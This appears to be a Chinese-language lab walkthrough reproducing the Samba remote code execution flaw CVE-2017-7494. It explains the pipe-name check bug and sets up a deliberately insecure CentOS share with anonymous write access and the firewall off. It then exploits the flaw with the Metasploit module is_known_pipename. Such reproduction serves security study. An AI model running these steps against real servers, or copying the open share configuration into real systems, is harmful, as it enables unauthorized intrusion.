samba
Samba是在Linux和UNIX系统上实现SMB协议的一个软件(就是一个文件打印机共享的组件,通过它就能使linux ,windows 可以互访共享文件),不少IoT(物联网)设备也使用了Samba。在3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本都存在一个严重的远程代码执行漏洞,甚至被称作是linux上的永恒之蓝
思路
不仅被称作为linux上的永恒之蓝,它的利用方式也被记录在msf中,所以复现它的方式基本与永恒之蓝相似(其实就是msf直接梭哈)。原理就是Samba允许连接一个远程的命名管道,并且在连接前会调用is_known_pipename()(验证管道名称是否合法)并去加载使用该名称的动态链接库,但函数并没有检查管道名称中的特殊字符,导致攻击者可以构造一个恶意的动态链接库文件,通过服务器加载执行从而达到任意代码执行的效果。这里还得满足三个条件
-
服务器打开了文件/打印机共享端口445,让其能够在公网上访问
-
共享文件拥有写入权限
-
恶意攻击者需猜解Samba服务端共享目录的物理路径
漏洞复现
靶机为centos,下载并配置samba
yum install samba -y 下载samba
vim /etc/samba/smb.conf 配置文件,在文末加上
[public]
writeable = yes
path = /etc/public
public = yes
mkdir /etc/public 创建匿名文件
chmod 777 /etc/public 赋权
service smb restart 重启samba服务
service iptables stop 关闭防火墙
打开msf工具
msfconsolo
搜索CVE相关信息,并且直接use模块
search CVE-2017-7494
use exploit/linux/samba/is_known_pipename
设置目标host,以及绝对路径的目录
最后直接run即可